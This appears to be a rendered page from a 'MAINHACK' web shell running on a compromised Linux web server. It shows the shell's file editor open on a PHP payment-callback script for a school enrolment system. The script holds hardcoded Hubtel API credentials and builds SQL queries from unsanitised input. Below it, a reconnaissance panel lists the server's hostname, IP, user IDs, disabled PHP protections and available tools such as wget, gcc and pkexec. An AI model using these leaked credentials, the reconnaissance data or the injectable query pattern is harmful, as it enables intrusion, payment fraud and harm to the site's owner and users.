[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: hubtel_callbackold.php
<?php include("thisdb.php"); $data = json_decode(file_get_contents("php://input"), true); file_put_contents("hubtel_log.txt", "\n---- NEW CALLBACK ----\n", FILE_APPEND); file_put_contents("hubtel_log.txt", print_r($data, true), FILE_APPEND); // Hubtel credentials $username = "Y0WGqQK"; $password = "d6c3e7312bed4e75851991be1e5418a5"; $merchantAccountNumber = "2031762"; if (!empty($data['ResponseCode']) && $data['ResponseCode'] === "0000") { $responseData = $data['Data'] ?? []; $reference = $responseData['ClientReference'] ?? ''; $amount = $responseData['Amount'] ?? 0; $transaction_id = $responseData['SalesInvoiceId'] ?? uniqid('hubtel_'); $payment_status = $responseData['Status'] ?? 'Pending'; // Parse reference: REF_indexNo_schoolCode_timestamp $parts = explode("_", $reference); if (count($parts) >= 4) { $indexNo = $parts[1]; $schoolCode = $parts[2]; file_put_contents("hubtel_log.txt", "Parsed: indexNo=$indexNo, schoolCode=$schoolCode\n", FILE_APPEND); } else { file_put_contents("hubtel_log.txt", "❌ Could not parse reference: $reference\n", FILE_APPEND); exit; } // 🔍 1. OPTIONAL: Verify Transaction Status from Hubtel API $checkUrl = "https://api.hubtel.com/v2/merchantaccount/transactions/" . urlencode($transaction_id); $auth = base64_encode("$username:$password"); $ch = curl_init($checkUrl); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Authorization: Basic $auth", "Content-Type: application/json" ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $hubtelResponse = curl_exec($ch); curl_close($ch); $statusData = json_decode($hubtelResponse, true); // Extract verified status (if API responded) if (isset($statusData['status'])) { $verifiedStatus = $statusData['status']; file_put_contents("hubtel_log.txt", "🔍 Hubtel API Verified Status: $verifiedStatus\n", FILE_APPEND); } elseif (isset($statusData['Data']['Status'])) { $verifiedStatus = $statusData['Data']['Status']; file_put_contents("hubtel_log.txt", "🔍 Hubtel API Verified Status (Data): $verifiedStatus\n", FILE_APPEND); } else { $verifiedStatus = $payment_status; file_put_contents("hubtel_log.txt", "⚠️ No verified status found, using callback status: $verifiedStatus\n", FILE_APPEND); } // ✅ Continue DB update only if status is confirmed successful if (in_array(strtolower($verifiedStatus), ['successful', 'success', 'completed'])) { $pstatus = "Paid"; $datepaid = date("Y-m-d H:i:s"); $access_code = $indexNo; // Prevent duplicate payments $check_sql = "SELECT * FROM stud_payment WHERE transaction_id = '$transaction_id'"; $check_result = mysqli_query($new, $check_sql); if ($check_result && mysqli_num_rows($check_result) === 0) { $insert_sql = " INSERT INTO stud_payment (s_code, indexNumber, amount, pstatus, datepaid, transaction_id, access_code) VALUES ('$schoolCode', '$indexNo', '$amount', '$pstatus', '$datepaid', '$transaction_id', '$access_code') "; if (mysqli_query($new, $insert_sql)) { file_put_contents("hubtel_log.txt", "✅ INSERT successful for $indexNo ($schoolCode)\n", FILE_APPEND); } else { file_put_contents("hubtel_log.txt", "❌ INSERT failed: " . mysqli_error($new) . "\n", FILE_APPEND); } } else { file_put_contents("hubtel_log.txt", "⚠️ Duplicate transaction ignored for $indexNo ($schoolCode)\n", FILE_APPEND); } // Update enrol_generic access $update_sql = " UPDATE enrol_generic SET access = '$access_code' WHERE indexNo = '$indexNo' AND s_code = '$schoolCode' "; if (mysqli_query($new, $update_sql)) { file_put_contents("hubtel_log.txt", "✅ UPDATE successful for $indexNo ($schoolCode)\n", FILE_APPEND); } else { file_put_contents("hubtel_log.txt", "❌ UPDATE failed: " . mysqli_error($new) . "\n", FILE_APPEND); } } else { file_put_contents("hubtel_log.txt", "⚠️ Payment not successful. Verified status: $verifiedStatus\n", FILE_APPEND); } } else { file_put_contents("hubtel_log.txt", "⚠️ Invalid callback or ResponseCode not 0000\n", FILE_APPEND); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002